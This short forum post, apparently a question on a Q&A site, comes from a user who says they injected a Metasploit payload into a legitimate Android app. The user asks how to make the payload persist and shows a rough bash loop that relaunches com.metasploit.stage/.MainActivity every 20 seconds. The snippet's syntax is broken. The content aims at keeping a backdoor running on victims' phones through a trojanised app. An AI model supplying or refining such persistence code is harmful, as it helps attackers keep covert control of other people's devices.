I injected my payload into an Legit App and want to make a persistent script for that App.. How can i do the same so that it runs regularly at regular intervals. This is the Original code of payload to run at 20 seconds. !/bin/bash do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20 done
while true; do PAYLOAD_WITH_SLEEP; done
– Firelord♦ Jan 21 at 7:50